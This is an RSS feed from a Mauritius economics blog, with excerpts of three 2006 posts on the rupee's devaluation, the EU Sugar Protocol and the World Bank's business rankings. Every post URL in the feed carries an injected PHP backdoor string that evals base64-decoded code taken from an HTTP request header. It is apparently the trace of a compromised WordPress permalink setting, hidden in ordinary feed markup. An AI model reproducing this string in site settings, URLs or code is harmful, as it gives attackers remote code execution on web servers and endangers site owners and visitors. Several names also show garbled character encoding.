<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Think Mauritius &#187; Economy</title>
	<atom:link href="http://www.thinkmauritius.com/categories/economy/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.thinkmauritius.com</link>
	<description>ThinkMauritius.Com</description>
	<lastBuildDate>Sat, 08 Dec 2007 04:18:40 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>The Rupee devaluates</title>
		<link>http://www.thinkmauritius.com/2006/08/30/the-rupee-devaluates/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.thinkmauritius.com/2006/08/30/the-rupee-devaluates/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 30 Aug 2006 08:00:38 +0000</pubDate>
		<dc:creator>St̩phane Lee</dc:creator>
				<category><![CDATA[Economy]]></category>

		<guid isPermaLink="false">http://www.thinkmauritius.com/stephanelee/2006/08/the-rupee-devaluates.html</guid>
		<description><![CDATA[It has been a rough ride for the Mauritian Rupee since the beginning of the year: losing nearly 15% against both the Euro and the British Pound. It loses only 5% against the &#8220;weak&#8221; US Dollar. Sithanen, the Finance Minister, is calling those having foreign currencies to convert them to Rupees. There is no sign [...]]]></description>
		<wfw:commentRss>http://www.thinkmauritius.com/2006/08/30/the-rupee-devaluates/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Global Trade Brings New Challenges for Mauritius</title>
		<link>http://www.thinkmauritius.com/2006/08/17/global-trade-brings-new-challenges-for-mauritius/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.thinkmauritius.com/2006/08/17/global-trade-brings-new-challenges-for-mauritius/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 17 Aug 2006 04:15:57 +0000</pubDate>
		<dc:creator>Patrick Ng</dc:creator>
				<category><![CDATA[Economy]]></category>

		<guid isPermaLink="false">http://www.thinkmauritius.com/patrickng/2006/08/global-trade-brings-new-challenges-for-mauritius.html</guid>
		<description><![CDATA[According to the Sugar Protocol, which is one of the components of the Lom̩ Convention signed in 1975 between the European Union and the ACP countries, each year the EU can import 1.3 million tons of sugar from the ACP countries at a relatively high price. While the Lom̩ Convention itself was set to expire [...]]]></description>
		<wfw:commentRss>http://www.thinkmauritius.com/2006/08/17/global-trade-brings-new-challenges-for-mauritius/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Doing Business in Mauritius in 2006</title>
		<link>http://www.thinkmauritius.com/2006/08/15/doing-business-in-mauritius-in-2006/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.thinkmauritius.com/2006/08/15/doing-business-in-mauritius-in-2006/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 15 Aug 2006 05:00:04 +0000</pubDate>
		<dc:creator>St̩phane Lee</dc:creator>
				<category><![CDATA[Economy]]></category>

		<guid isPermaLink="false">http://www.thinkmauritius.com/stephanelee/2006/08/doing-business-in-mauritius-in-2006.html</guid>
		<description><![CDATA[The World Bank has recently published an extensive report on doing business in 2006 worldwide (PDF). Mauritius ranked 23rd globally out of 155 countries for the ease of doing business and beating some OECD countries.
Top 30 countries where it is easier to do business:

New Zealand
Singapore
United States
Canada
Norway
Australia
Hong Kong (China)
Denmark
United Kingdom
Japan
Ireland
Iceland
Finland
Sweden
Lithuania
Estonia
Switzerland
Belgium
Germany
Thailand
Malaysia
Puerto Rico
Mauritius
Netherlands
Chile
Latvia
South Korea
South Africa
Israel
Spain

Here are some excerpts:
If [...]]]></description>
		<wfw:commentRss>http://www.thinkmauritius.com/2006/08/15/doing-business-in-mauritius-in-2006/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
